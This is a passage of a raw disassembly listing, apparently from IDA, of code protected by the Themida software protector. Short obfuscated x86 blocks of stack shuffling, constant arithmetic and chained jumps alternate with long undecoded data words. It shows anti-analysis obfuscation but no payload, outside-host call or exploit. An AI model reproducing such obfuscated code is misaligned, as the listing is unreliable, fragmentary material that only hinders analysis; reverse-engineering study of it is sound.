eax, ecx pop ecx push eax push dword ptr [esp+4] jmp loc_508D0A ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 0E9000000h, 0CC1h ; --------------------------------------------------------------------------- loc_506A54: ; CODE XREF: Themida_:004FF7F5j add esi, ebp jmp loc_4FFBE5 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 0D2D3E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506A66: ; CODE XREF: Themida_:0050521Ej mov edx, 621C2213h jmp loc_504537 ; --------------------------------------------------------------------------- dd 240C335Ch, 33240C31h, 0E95C240Ch, 5C1h, 6DC849B9h, 0E9F90115h dd 0FFFF96B6h, 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF8625h dd 0F24248Bh, 9C2404A3h, 0FF8618E9h, 81D7F7FFh, 449563EFh dd 5FFB29F6h, 0C381C329h, 57807199h, 442EEB81h, 46848F7h dd 8900004Ch, 0F2E92404h, 5FFFFF85h, 0EA81EAD1h, 5D751DC7h dd 0E95AD301h, 0FFFFD1DAh, 5C240C87h, 24048F54h, 4240481h dd 59000000h, 0E904EC83h, 19B0h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0E95C2434h, 0FFFFB3A8h, 0CDFBE957h, 0FA28FFFFh dd 0E9D0305Bh, 2AADh, 156DF281h, 0F2816FBAh, 0EAF6D4AAh dd 1567EA81h, 0DAF74CDDh, 81D2F742h, 8DEE67C2h, 5AD58921h dd 0BBE9EA01h, 4000036h, 0E9D828E4h, 3CB9h, 1D9CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_506B56: ; CODE XREF: Themida_:00505A40j mov [esp], edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ebp push esp mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_4FF845 ; --------------------------------------------------------------------------- loc_506B7A: ; CODE XREF: Themida_:00501194j sub esi, 6322F272h xor edx, esi pop esi dec edx xor edx, 4C85568Ah add ecx, edx jmp loc_50572E ; --------------------------------------------------------------------------- db 68h, 0A0h, 26h dd 1C890000h, 0E95B5424h, 0FFFFB244h, 815EF189h, 7B161AEFh dd 17C7816Fh, 0E91FAE74h, 219Dh, 59D0BB53h, 83BA7DAAh dd 0E9094B78h, 34C7h, 34FFC821h, 0BFB4E924h, 835CFFFFh dd 2C8904ECh, 395BD24h, 0E5C124DAh, 3FE58102h, 0E91E2418h dd 0FFFF90F8h ; --------------------------------------------------------------------------- loc_506BE8: ; CODE XREF: Themida_:00501241j pop eax xchg eax, ecx shr ecx, 6 sub ecx, 49303EA4h sub esp, 4 jmp loc_504ABD ; --------------------------------------------------------------------------- loc_506BFE: ; CODE XREF: Themida_:00503C10j xchg edx, [esp] pop esp push ebp push esp pop ebp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] jmp loc_508CA5 ; --------------------------------------------------------------------------- dd 24048F59h, 8924248Bh, 9C502414h, 0FF8494E9h, 514404FFh dd 0C5803BB5h, 0E9E8205Eh, 237Ah, 64F0BF57h, 39E9046Dh dd 0BDFFFFFEh, 29E004AFh, 505DEF31h, 0BA477AB8h, 0B562E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506C5A: ; CODE XREF: Themida_:00500CA2j shr eax, 4 shr eax, 3 shl eax, 5 dec eax sub eax, 91019Bh add ebp, eax pop eax sub esp, 4 jmp loc_508FA8 ; --------------------------------------------------------------------------- dd 4C4835Dh, 1608E956h, 1C330000h, 241C3124h, 8B241C33h dd 0BF0F2424h, 4C6857C8h, 0E9000023h, 0FFFF9C9Bh ; --------------------------------------------------------------------------- loc_506C98: ; CODE XREF: Themida_:00504B84j push ebp mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] jmp loc_508431 ; --------------------------------------------------------------------------- dd 8004C483h, 0EC8877F5h, 592434FFh, 0FFF324E9h, 2474FFFFh dd 48F5804h, 24248B24h, 0FFE3C3E9h, 0D830ACFFh, 0B7535052h dd 86CF80FAh, 3410E9h, 0E9E78900h, 3878h, 0E904C483h, 0FFFFBD87h dd 24048B66h, 0FFCCBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_506CF5: ; CODE XREF: Themida_:005055F4j pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_4FF130 ; --------------------------------------------------------------------------- db 81h dd 323E96EDh, 0E9EF8957h, 0FFFFEA9Ch, 0D793E952h, 0E289FFFFh dd 0C6685657h, 0E9174807h, 0FFFFC004h, 4C481h, 6FE90000h dd 80FFFF8Ah, 0E3E93FF1h, 1FFFFEBh, 2434FFFAh, 4C4835Fh dd 17D3E9h, 74FF5500h, 2C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx jmp loc_503F5C ; --------------------------------------------------------------------------- db 0BDh dd 700A1F45h, 3B77E945h, 0E95A0000h, 0FFFFA6E2h, 0FF6E952h dd 0C2B50000h, 0FF8DB9E9h, 0EEC15EFFh, 46F68103h, 12A13E8h dd 57525EF3h, 1378DDBFh, 5FFA893Ah, 0F6B9C281h, 0E9550CEFh dd 0FFFFFFBFh ; --------------------------------------------------------------------------- loc_506DA8: ; CODE XREF: Themida_:005022A3j push edx mov edx, 4 sub edi, 5B62114Eh sub edi, edx jmp loc_507B9C ; --------------------------------------------------------------------------- db 53h dd 268h, 0EF815B00h, 69DD772Fh, 0C781DF01h, 69DD772Fh dd 0FFDA3AE9h, 0D8015AFFh, 47361605h, 0BBE9531Ch, 89FFFFE4h dd 68532404h, 628E49CCh, 90EB815Bh, 89EF4000h, 0D8F75BD8h dd 11AEBE56h, 0EE811B46h, 0A7F7C86Eh, 0FFB42FE9h, 8BF820FFh dd 0C481241Ch, 4, 678C6851h, 4890000h, 5E08924h, 4, 4BE56h dd 0F0290000h, 2404875Eh, 36C7E9h, 0CEC28100h, 10F4412h dd 491E9CAh, 51660000h, 0F58051B5h, 8AAAE996h, 9E68FFFFh dd 8900005Fh, 0A5E92414h, 35FFFFBFh, 17633F24h, 555605h dd 0F633E939h, 0C481FFFFh, 4, 34FFC300h, 2FE95824h, 89FFFFFBh dd 6B3241Ch, 0FFA05CE9h, 2434FFFFh, 0FF961DE9h, 42166FFh dd 2AE99C24h, 53FFFF82h, 0FFDF0FE9h, 0C1295EFFh, 74FF5158h dd 71E90424h, 50FFFFFDh, 7CE9E089h, 81FFFF97h, 0E23953EAh dd 9782E925h, 489FFFFh, 0E884E924h, 0CD80FFFFh, 80CDFECCh dd 0DDF6F9F5h, 0F580C5FEh, 28E4041Eh, 0AA69E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506EDE: ; CODE XREF: Themida_:00505785j xchg esi, [esp] jmp loc_502746 ; --------------------------------------------------------------------------- dw 0E980h dd 0E9DE2C88h, 0FFFFF82Dh, 0FF81CCE9h, 0B96651FFh, 816619D1h dd 66B2D5E9h, 0C8BC829h, 3176E924h, 50660000h, 0EEE9B2B4h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_506F13: ; CODE XREF: Themida_:005047F4j xor esi, 90001C53h mov ecx, esi jmp loc_5061FE ; --------------------------------------------------------------------------- dd 0FF819CE9h, 81C201FFh, 3E4752C2h, 3EEA810Eh, 8B4BD370h dd 0C4832404h, 0ABEA8104h, 81728D0Ah, 691BFCC2h, 81C20167h dd 691BFCEAh, 0F2BF5767h, 0F7030664h, 0E94F47DFh, 0FFFF89A6h dd 5866E328h, 37EB80h, 37C380C3h, 0B1515066h, 0B34CE9AEh dd 34FFFFFFh, 24048B24h, 0C277E957h, 3C8BFFFFh, 0FC3E924h dd 0E5880000h, 0FFEC82E9h, 4C483FFh, 0FF9B92E9h db 0FFh ; --------------------------------------------------------------------------- loc_506F95: ; CODE XREF: Themida_:005068BBj push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push eax push esp pop eax push ebp mov ebp, 4 add eax, ebp pop ebp push edi jmp loc_508850 ; --------------------------------------------------------------------------- db 4Fh, 53h, 0BBh dd 9E802BFh, 196CBE56h, 0F7014CB0h, 81DF295Eh, 0B0196CEFh dd 0EF815B4Ch, 2E270CB2h, 0FF98A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_506FD5: ; CODE XREF: Themida_:005062DAj mov edi, [esp] add esp, 4 add edi, 4 push ebx mov ebx, 4 sub edi, ebx mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_507380 ; --------------------------------------------------------------------------- loc_506FFD: ; CODE XREF: Themida_:00502769j add edi, 4 xchg edi, [esp] pop esp push ebx push esp pop ebx jmp loc_507EBA ; --------------------------------------------------------------------------- db 0F7h dd 9DE952D6h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507017: ; CODE XREF: Themida_:005094BDj mov edx, ebp jmp loc_5011CD ; --------------------------------------------------------------------------- loc_50701E: ; CODE XREF: Themida_:0050245Aj push 59D3E98h pop edi jmp loc_5084D1 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0EFh dd 51FFFFD2h, 0C181E189h, 4, 5104E983h, 418E9h, 0C83B6600h dd 8077E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50704A: ; CODE XREF: Themida_:00509298j add edx, 4 push eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 jmp loc_5031BB ; --------------------------------------------------------------------------- loc_507066: ; CODE XREF: Themida_:005012D6j xchg esi, [esp] mov esp, [esp] mov [esp], ebp push ecx jmp loc_507F67 ; --------------------------------------------------------------------------- db 81h, 0C6h, 2 dd 87000000h, 248B2434h, 9CC88424h, 0FF8038E9h, 0E9FB01FFh dd 0FFFF980Fh ; --------------------------------------------------------------------------- loc_507090: ; CODE XREF: Themida_:00508D4Cj pop ebp and ecx, edx pop edx shr ecx, 0Bh sub esp, 4 mov [esp], ebx add dword ptr [esp], 30922205h jmp loc_5017D2 ; --------------------------------------------------------------------------- aSs db 'S%=',0 dw 8100h dd 4EDh, 242C8700h, 0C212E95Ch, 0D8F7FFFFh, 4A20BD35h dd 0E97BE91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5070CA: ; CODE XREF: Themida_:00509DB3j xor esi, 17736C8Fh pop edi add ebp, esi mov esi, [esp] jmp loc_50A09F ; --------------------------------------------------------------------------- db 8Bh dd 0E956240Ch, 3289h, 555EF089h, 9F2795BDh, 0CBA5E93Ah dd 1C89FFFFh, 62B4BB24h, 44813933h, 48A80824h, 0A3E940ECh db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_507107: ; CODE XREF: Themida_:004FF0C2j push 3F69h mov [esp], ebx mov bh, 0EAh shl bh, 6 push cx push ebx mov bh, 0Ch push edx mov dl, bh mov cl, dl jmp loc_50A78A ; --------------------------------------------------------------------------- db 0FFh a4XrhM db '4$XRh',27h,'m',0 dd 24248900h, 4240481h, 5A000000h, 4C281h, 0BE560000h dd 59562FB3h, 0FFDE5BE9h db 0FFh ; --------------------------------------------------------------------------- loc_507149: ; CODE XREF: Themida_:004FF29Fj mov ebp, 4 jmp loc_5059A2 ; --------------------------------------------------------------------------- db 33h dd 14312414h, 24143324h, 241C895Ch, 88C28852h, 24148BD3h dd 4C481h, 0DE880000h, 0BC9E9h, 67C28100h, 1CF703Ch, 0EC815AD0h dd 4, 51243489h, 0B03572B9h, 0D6C98127h, 8145B825h, 3C788AC1h dd 6FE98116h, 891B99AEh, 0D14659CEh, 0F0DCE9EEh, 815AFFFFh dd 0C434CAEFh, 0F8F3E964h, 0C828FFFFh, 312C972Ch, 81240C8Bh dd 4C4h, 0E9516600h, 0FFFFEF85h, 5F1568h, 0E731E900h, 0B02CFFFFh dd 0D8005A66h, 8356CB2Ch, 248904ECh, 24048324h, 2434FF04h dd 2A19E9h db 0 ; --------------------------------------------------------------------------- loc_5071F1: ; CODE XREF: Themida_:00504D75j xor ebx, edx jmp loc_5037E6 ; --------------------------------------------------------------------------- dd 835DE801h, 43304E8h, 3EC3E924h, 0C4830000h, 240C3304h dd 0FFDA40E9h, 48F5FFFh, 0E96DE924h, 0B25AFFFFh, 0E9CA305Ch dd 2828h, 815FFE29h, 0BF6CFEEh, 5EF20927h, 1FB5E94Ah, 4830000h dd 0E9590424h, 0FFFFE2D0h ; --------------------------------------------------------------------------- loc_507240: ; CODE XREF: Themida_:004FFF37j mov [esp], eax mov al, 20h jmp loc_500A61 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4EB81h, 1C870000h, 4895C24h, 66DEB824h, 6C813629h dd 48D30424h, 44291B30h, 0BB530424h, 1B3048D3h, 8245C01h dd 0D6E9585Bh, 0C1FFFFC1h, 0C78108EFh, 5E1A54DCh, 68h dd 9AFCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507292: ; CODE XREF: Themida_:00507A5Cj add edx, 4DAC0180h mov esi, [esp] jmp loc_508A64 ; --------------------------------------------------------------------------- dd 24048B66h, 0FFA997E9h, 28F64FFh, 0FF7E10E9h, 5AD601FFh dd 4EC81h, 4890000h, 0B7BB5324h, 0B83F5107h, 3F5107B5h dd 295BD831h, 0D0E958C6h, 81000000h, 4412CEEAh, 0C283590Fh dd 24143302h, 33241431h, 248B2414h, 0CD36624h, 64E99C24h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5072F3: ; CODE XREF: Themida_:0050ABFBj xchg ecx, [esp] pop esp mov [esp], edx jmp loc_500A68 ; --------------------------------------------------------------------------- db 0C0h dd 0E9C003E1h, 2269E908h, 8F5A0000h, 335C2404h, 0C31240Ch dd 240C3324h, 6624248Bh, 0E924048Bh, 0FFFF8E46h, 5E08950h dd 4, 8704C083h, 15C2404h, 2434FFF8h, 4C4835Fh, 0F3A6D05h dd 42902D29h, 0C72D0C10h, 29514505h, 0E7EFE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507352: ; CODE XREF: Themida_:005059A5j xchg edi, [esp] pop esp shr eax, 10h xor eax, ecx push 66F4h mov [esp], eax push ecx push dword ptr [esp+4] jmp loc_501597 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0D5h dd 13D5B59h, 0D5EE81DEh, 0E93D5B59h, 0FFFFBA3Dh ; --------------------------------------------------------------------------- loc_507380: ; CODE XREF: Themida_:00506FF8j mov [esp], edi jmp loc_5069C1 ; --------------------------------------------------------------------------- dd 5008E2C1h, 5F7E10B8h, 4BBA2D23h, 0D0F7280Bh, 8304E0C1h dd 6CE9FFC0h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_5038EE ; --------------------------------------------------------------------------- loc_5073C3: ; CODE XREF: Themida_:00506332j push 2864h mov [esp], eax mov eax, 2597A8EFh jmp loc_4FF97D ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0E924248Bh, 0FFFFE74Ch, 0E904EC83h, 0B54h ; --------------------------------------------------------------------------- loc_5073E8: ; CODE XREF: Themida_:00505EB0j xchg edx, [esp] jmp loc_50307A ; --------------------------------------------------------------------------- dd 8003E7C0h, 5152E6EFh, 0C29E950h, 0C8B0000h, 4C48324h dd 8B241C87h, 0F8302424h, 241C8B66h, 6602C483h, 95B55150h dd 0FF8FB6E9h, 0F9015DFFh, 6E16685Fh, 0C890000h, 2474FF24h dd 98E904h, 68530000h, 4, 5BDA015Bh, 5C241487h, 45FE68h dd 241C8900h, 2480BF57h, 0BF573A85h, 14167E62h, 0FF9B65E9h dd 2474FFFFh, 240C8B04h, 8F04C483h, 895C2404h, 8E92414h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50746F: ; CODE XREF: Themida_:004FF1EDj push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_50142E ; --------------------------------------------------------------------------- dd 24048B5Eh, 4C481h, 0EBE90000h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_507493: ; CODE XREF: Themida_:00509219j push ebx pop edi jmp loc_501E9D ; --------------------------------------------------------------------------- loc_50749A: ; CODE XREF: Themida_:004FF8E5j pop ebp pop dword ptr [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_4FF0C1 ; --------------------------------------------------------------------------- dw 5C01h dd 6C810824h, 48A80824h, 295B40ECh, 5304246Ch, 3362B4BBh dd 245C2939h, 3197E908h, 0C8B0000h, 4C48124h, 8F000000h dd 248B2404h, 3CD36624h, 13E99C24h, 50FFFFD8h, 6035BF57h dd 0E8B8405Ch, 0E97F7156h, 0FFFFDC4Fh, 81EB0159h, 0D857A1EBh dd 0B8505D00h, 2BB52B6Ah, 2D48D0F7h, 277669DDh, 0D46AB32Dh dd 58C301ACh, 31241C33h, 1C33241Ch, 24248B24h, 9C240421h dd 0FF7B98E9h db 0FFh ; --------------------------------------------------------------------------- loc_507529: ; CODE XREF: Themida_:00502C74j push 3DE5h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp push edx mov edx, 4 jmp loc_508D78 ; --------------------------------------------------------------------------- loc_507556: ; CODE XREF: Themida_:0050695Dj add esp, 4 jmp loc_500464 ; --------------------------------------------------------------------------- dw 5EE9h dd 83FFFF7Bh, 2C8702C5h, 0B2525C24h, 0E9D028BCh, 1C33h ; --------------------------------------------------------------------------- loc_507574: ; CODE XREF: Themida_:00503DCCj add ebp, esi pop esi jmp loc_4FFF70 ; --------------------------------------------------------------------------- dd 0DFFFE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507582: ; CODE XREF: Themida_:00501DAAj mov fs:[edx], al jmp loc_4FF0C1 ; --------------------------------------------------------------------------- loc_50758A: ; CODE XREF: Themida_:0050443Aj sub ebx, eax add ebx, 27023F6Ah jmp loc_4FF614 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 0AD4AE900h, 0EE83FFFFh, 74FF5604h, 348B0424h dd 4C48124h, 8F000000h, 248B2404h, 240C8924h, 0FFAE50E9h dd 3D3F25FFh, 97E96AD9h, 89FFFFD6h, 0E954242Ch, 1FEAh dd 4AB0F66h, 0CAE99C24h, 0BB000030h, 770C66C7h, 0F75BD801h dd 2F3C2DD8h, 0ED811C46h, 76D1E12h, 9FE9C501h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5075FB: ; CODE XREF: Themida_:00500337j xor cl, ah mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_509B62 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF7AACE9h db 0FFh ; --------------------------------------------------------------------------- loc_507615: ; CODE XREF: Themida_:0050519Aj pop ebp jmp loc_503D79 ; --------------------------------------------------------------------------- db 8Bh dd 7E9240Ch db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507623: ; CODE XREF: Themida_:0050021Ej pop ebp inc edx jmp loc_507829 ; --------------------------------------------------------------------------- dw 0EB80h dd 80C32829h, 0C38029C3h, 0B450661Eh, 66E32869h, 8764E958h dd 8B66FFFFh, 0E951240Ch, 0FFFFB730h ; --------------------------------------------------------------------------- loc_50764C: ; CODE XREF: Themida_:005015DFj pop edx push ebp pop eax push dword ptr [esp] pop ebp jmp loc_5088BF ; --------------------------------------------------------------------------- loc_507658: ; CODE XREF: Themida_:00509D43j push dword ptr [esp] pop esi push 1C7Ah mov [esp], esi mov esi, esp add esi, 4 push ecx push ebx mov ebx, 4 mov ecx, ebx pop ebx add esi, ecx jmp loc_508665 ; --------------------------------------------------------------------------- db 58h, 0C1h, 0EDh dd 7EDC104h, 8904EC83h, 0FABF243Ch, 8157DA48h, 0D7B09F7h dd 87ADE997h, 34FFFFFFh, 242C8B24h, 0E904C483h, 0FFFFE13Ah dd 7E04D800h, 26B7E9h db 0 ; --------------------------------------------------------------------------- loc_5076B1: ; CODE XREF: Themida_:00504137j mov edi, [esp] add esp, 4 and eax, esi pop esi or edx, eax shl edx, 1 jmp loc_500790 ; --------------------------------------------------------------------------- loc_5076C3: ; CODE XREF: Themida_:0050389Ej mov [esp], esi jmp loc_4FF17E ; --------------------------------------------------------------------------- db 89h dd 0EA8159CFh, 67831A52h, 0C281FA01h, 67831A52h, 0FFE339E9h dd 4F26B8FFh, 67E9323Bh, 87000006h, 0BE9243Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5076F3: ; CODE XREF: Themida_:0050A236j pop edi shr eax, 12h xor eax, ecx push 13CCh mov [esp], eax push 6407h mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_50846B ; --------------------------------------------------------------------------- db 50h, 83h, 0ECh dd 24348904h, 0BB3437BEh, 33EE811Bh, 0E91BBB34h, 0FFFFF9B8h dd 34FFD801h, 0EC815B24h, 4, 89241489h, 4C281E2h, 0E9000000h dd 0FFFFFCEAh ; --------------------------------------------------------------------------- loc_507748: ; CODE XREF: Themida_:00502711j pop ebp jmp loc_508A9C ; --------------------------------------------------------------------------- dw 0C89h dd 43DBB924h, 0F9E91D5Ah, 83000023h, 8F042404h, 0BD552404h dd 4, 4246C01h, 24348B5Dh, 8104C483h, 4C6h, 4EC8100h, 89000000h dd 2B9240Ch, 1000000h, 343359CEh, 24343124h, 8B243433h dd 0F662424h, 9C2404BBh, 0FF7920E9h db 0FFh ; --------------------------------------------------------------------------- loc_5077A1: ; CODE XREF: Themida_:00504F6Cj shl edi, 6 add edi, 0AA1B03Bh sub ebp, edi pop edi add edx, ebp mov ebp, [esp] push edi mov edi, esp jmp loc_506A0A ; --------------------------------------------------------------------------- loc_5077BA: ; CODE XREF: Themida_:00503E08j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_50024D ; --------------------------------------------------------------------------- dd 54242C89h, 0E81AE95Dh, 8B66FFFFh, 8351240Ch, 248904ECh dd 24048124h, 4, 8B2434FFh, 0C481240Ch, 4, 0FF9CB0E9h dd 241C89FFh, 2BBh, 8FBE5600h, 52590329h, 2236D2BAh, 0E9D62907h dd 0FFFFBF84h, 8B242C33h, 0F9F62424h, 0CCB60F66h, 0FFC052E9h db 0FFh ; --------------------------------------------------------------------------- loc_507829: ; CODE XREF: Themida_:00507625j shl edx, 7 xor edx, 698C09B0h sub ebx, edx pop edx push eax mov eax, 2E9868A0h add edx, 7D034F72h sub edx, eax sub edx, 7D034F72h jmp loc_5078DE ; --------------------------------------------------------------------------- dw 0DFB8h dd 25670F77h, 5FD31931h, 5FE9D8F7h, 0B8FFFFF8h, 6CAD69FBh dd 0FD75E953h, 0E95AFFFFh, 0B32h, 4E9F300h, 5FFFFFC2h dd 4C281h, 14870000h, 383CE924h, 1B80000h, 8963D166h, 0D60158C2h dd 5624148Bh, 3606E9h db 0 ; --------------------------------------------------------------------------- loc_507899: ; CODE XREF: Themida_:00504E88j push ebx mov ebx, esp jmp loc_504CFB ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 8F24248Bh, 0FE5C2404h, 0E99C2404h, 0FFFF780Dh, 8324348Bh dd 0C48304C4h, 6F266804h, 34890000h, 448CBE24h, 0EE816BE1h dd 1, 4EC81h, 14890000h, 78F7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5078DE: ; CODE XREF: Themida_:00507849j pop eax sub edx, 1E2219DAh jmp loc_509F1D ; --------------------------------------------------------------------------- dw 1C89h dd 0E7895724h, 4C781h, 0EF830000h, 0B8AAE904h, 0F820FFFFh dd 17245B66h, 0FF9E5BE9h, 7BE95AFFh, 50FFFFB0h, 4055854h dd 55000000h, 0E03652BDh, 0E2BF5765h, 2940F31Eh, 0D5F75FFDh dd 0FFAEA2E9h, 28F66FFh, 0FF778CE9h, 5BDA09FFh, 0DFB4F281h dd 0D101F7FBh, 0E924148Bh, 2FCAh, 8EC28166h, 0E281660Ch dd 81660ED2h, 66D41AEAh, 665AD129h, 34FFC801h, 240C8B24h dd 4C481h, 0C4810000h, 4, 25B86650h, 9A5CE97Ch, 8B66FFFFh dd 0C2E9240Ch, 83FFFFBCh, 0FF5304C3h, 0E9042474h, 0FFFFE2E5h dd 9C241CF7h, 0FF9B03E9h, 8FE955FFh db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50799F: ; CODE XREF: Themida_:005006EFj mov edx, 310E24E3h inc edx inc edx add edx, 6326E63h neg edx shl edx, 6 sub edx, 0ED7D1927h add edi, edx jmp loc_500F94 ; --------------------------------------------------------------------------- dw 8956h dd 5EF589DEh, 81241C8Bh, 4C4h, 1C6F2100h, 0FFFCC5E9h, 4E983FFh dd 2893E9h, 240C3300h, 33240C31h, 248B240Ch, 2434FF24h dd 5524048Bh, 0FFBCA8E9h, 0EE885AFFh, 0FF9AD9E9h, 5D829FFh dd 55560B5Eh, 58C1015Bh, 0FFC568E9h, 4BFFFh, 0F9010000h dd 4C1835Fh, 748E9h, 0E9D90800h, 409h, 76A7C181h, 0D90125F6h dd 36CBE9h db 0 ; --------------------------------------------------------------------------- loc_507A31: ; CODE XREF: Themida_:0050B069j or eax, eax jz loc_5094B1 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push edx mov edx, esp push esi mov esi, 4 push edi mov edi, 4DAC0180h sub edx, edi mov edi, [esp] add esp, 4 add edx, esi jmp loc_507292 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C7010000h, 9627E958h, 8304FFFFh, 8073EB80h, 0C328C3EBh dd 80C3C380h, 45E973C3h, 0FFFFFFBDh, 669D1C77h, 241CD359h dd 762FE99Ch, 8159FFFFh, 4C4h, 0FC33000h, 34FFC0B6h, 24048187h dd 1B663EEh, 31ACE9h db 0 ; --------------------------------------------------------------------------- loc_507AAD: ; CODE XREF: Themida_:004FF817j mov esi, 330A2739h jmp loc_501C72 ; --------------------------------------------------------------------------- db 5Eh dd 1F5068h, 0BB60E900h, 0D2F6FFFFh, 88D58851h, 0E9EF88FAh dd 0FFFF8B59h, 7569BB53h, 0DF316D48h, 1EACE9h, 2434FF00h dd 0E6895658h, 4C681h, 0C6830000h, 24348704h, 24048F5Ch dd 5324248Bh, 88D58851h, 0EC8159EBh, 4, 88241489h, 9E10E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507B0E: ; CODE XREF: Themida_:0050A35Aj mov ebp, 23DF12CEh sub ebx, ebp pop ebp jmp loc_5015A0 ; --------------------------------------------------------------------------- loc_507B1B: ; CODE XREF: Themida_:005086ACj push 164Fh jmp loc_504CD1 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C2414h, 0FFFF758Dh ; --------------------------------------------------------------------------- loc_507B34: ; CODE XREF: Themida_:0050228Aj add ebp, edx pop edx jmp loc_504AAF ; --------------------------------------------------------------------------- dd 31240C33h, 0C33240Ch, 24248B24h, 58240489h, 0FF7570E9h dd 4BFFFh, 0FA010000h, 4EA815Fh, 0E9000000h, 0FFFFF5EFh ; --------------------------------------------------------------------------- loc_507B64: ; CODE XREF: Themida_:00506381j pop edx jmp loc_503898 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0FF92A8E9h, 7547E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507B7A: ; CODE XREF: Themida_:00507C92j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push eax jmp loc_4FF645 ; --------------------------------------------------------------------------- dw 0C301h dd 0DF7C381h, 6D684533h, 0E9000074h, 32BFh ; --------------------------------------------------------------------------- loc_507B9C: ; CODE XREF: Themida_:00506DB6j add edi, 5B62114Eh mov edx, [esp] push eax mov eax, esp jmp loc_503DF6 ; --------------------------------------------------------------------------- db 28h, 0D3h, 66h dd 0B38CE95Ah, 0C33FFFFh, 240C3124h, 5C240C33h, 8F66C331h dd 74F7E900h, 0EC83FFFFh, 24048904h, 0FF9E4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_507BD5: ; CODE XREF: Themida_:00503995j mov ebp, 18E06DFEh push ebx mov ebx, 4A4637BDh xor ebx, 706E1E9Ch sub ebp, ebx pop ebx jmp loc_507DE2 ; --------------------------------------------------------------------------- dw 15BDh dd 812B2B3Eh, 0F65697C5h, 0E9D5F724h, 0FFFFE12Fh, 652FEF81h dd 0EBE9E274h, 0FFFFFFE2h, 34FF2434h, 24048B24h, 81E18951h dd 4C1h, 4C18100h, 0E9000000h, 2A1Ah, 81242489h, 42404h dd 34FF0000h, 0EDE95F24h, 56FFFFCAh, 0AE7EA4BEh, 0D6F74E0Dh dd 7F03B850h, 9E96F97h, 31FFFF9Eh, 0D5F75EF5h, 0E94D4D45h dd 0FFFFD093h, 5C241C87h, 5A287788h, 0FFA146E9h, 0DAC181FFh dd 12D1614h, 8522E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507C76: ; CODE XREF: Themida_:004FF848j xchg esi, [esp] pop esp push ebx mov ebx, 4 sub ebp, 31532BECh add ebp, ebx add ebp, 31532BECh pop ebx add ebp, 2 jmp loc_507B7A ; --------------------------------------------------------------------------- db 31h dd 0F2815BDAh, 0FA189223h, 0FF1C5709h, 148B2434h, 4C48324h dd 0E9E28952h, 2D64h, 0B5240C89h, 0FEC5FE47h, 0E9DDF6CDh dd 0FFFFB707h ; --------------------------------------------------------------------------- loc_507CC4: ; CODE XREF: Themida_:0050876Dj push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_4FF13E ; --------------------------------------------------------------------------- dd 8104E3C1h, 86219BF3h, 0AF4AE907h, 0E931FFFFh, 0A8C1815Dh dd 19A40F4h, 240C8BCAh, 4C481h, 14870000h, 24D35C24h, 0BEE99C24h 